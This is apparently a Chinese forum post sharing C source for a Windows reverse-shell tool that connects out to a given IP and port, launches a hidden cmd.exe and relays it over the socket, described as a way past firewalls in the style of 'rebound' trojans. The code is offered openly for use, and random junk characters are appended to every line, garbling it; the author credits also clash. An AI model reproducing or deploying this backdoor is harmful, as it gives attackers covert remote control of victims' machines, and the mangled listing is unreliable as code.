这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h 9W^[6
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/* ============================== 'uEl~> l7
Rebound port in Windows NT 8}UIbF
By wind,2006/7 b|W=pSTY
===============================*/ pz>>)c`
#include 4HA<P6L
#include I~XSn>-H
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#pragma comment(lib,"wsock32.lib") A^<iL
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void OutputShell(); |Xy6PN8
SOCKET sClient; 4{`{WI{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =rX>.P%Q 5
}vM("v|M
void main(int argc,char **argv) J/*`7Pd
{
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WSADATA stWsaData; }`~+]9<
int nRet; ^J;bso`
SOCKADDR_IN stSaiClient,stSaiServer; }pu27F)&
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if(argc != 3) %bfQ$a:
{ <UQbt N-B\
printf("Useage:\n\rRebound DestIP DestPort\n"); C~iL3Cb
return; Dm<A
^u8
} ySDH"|0
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^r,=vO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X}\:_/
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stSaiClient.sin_family = AF_INET; Jz e:[MYS
stSaiClient.sin_port = htons(0); )P|),S,;Z
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); omBoo5e
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k+pr \d ~
{ p=}Nn(
printf("Bind Socket Failed!\n"); 65Yv4pNL
return; C>*u()q>4h
} ?<'}r7D
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stSaiServer.sin_family = AF_INET; SI-Ops~e
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'SF<_aS(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^ (zYzd
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7O-x<P;
{ j#q-^h3H
printf("Connect Error!");
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return; pg)WKbV
} *CI#+P
OutputShell(); 5]Y?m'
} [K0(RDV)%
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void OutputShell() YteO6A;
{ 4@#
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char szBuff[1024]; ._{H~R|
SECURITY_ATTRIBUTES stSecurityAttributes; %Y*Ndt 4
OSVERSIONINFO stOsversionInfo; %M|hA#04vZ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }Ud*TOo `
STARTUPINFO stStartupInfo; _>X+ZlpU:
char *szShell; P\rg"
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PROCESS_INFORMATION stProcessInformation; YglmX"fLf
unsigned long lBytesRead; y/ef>ZZ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !."D]i;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QE`bSI
stSecurityAttributes.lpSecurityDescriptor = 0; e h?zNu2=
stSecurityAttributes.bInheritHandle = TRUE; P?of<i2E
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i6Emhji
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CdjI`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m`^q <sj
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6zuTQ^pz
stStartupInfo.wShowWindow = SW_HIDE; ou{2@"
stStartupInfo.hStdInput = hReadPipe; %^1V4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <1${1A <Wa
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GetVersionEx(&stOsversionInfo); pJ'"j 6Q
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switch(stOsversionInfo.dwPlatformId) ,M
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{ @O^6&\s>
case 1: :(*V?WI
szShell = "command.com"; K:#I
break; a'yK~;+_9
default: ML56k~"BL
szShell = "cmd.exe"; dk4CpN
break; x\G'kEd
} o9yJf#-En
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <&g,Nc'5C
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send(sClient,szMsg,77,0); 4yA+h2
while(1) 0rs"o-s<
{ N]=q|D
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8\A#CQ5b
if(lBytesRead) [MM~H0=s
{ c2 C8g1n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4*cEag
send(sClient,szBuff,lBytesRead,0); y'nK>)WG4
} h_,i&d@(
else (2E\p
{ 0)e\`Bv
lBytesRead=recv(sClient,szBuff,1024,0); ^7WN{0
if(lBytesRead<=0) break; kxIF#/8
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H;k~oIsk
} 3<f}nfB%r?
} 2E)-M9ds
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return; w4{<n/"
}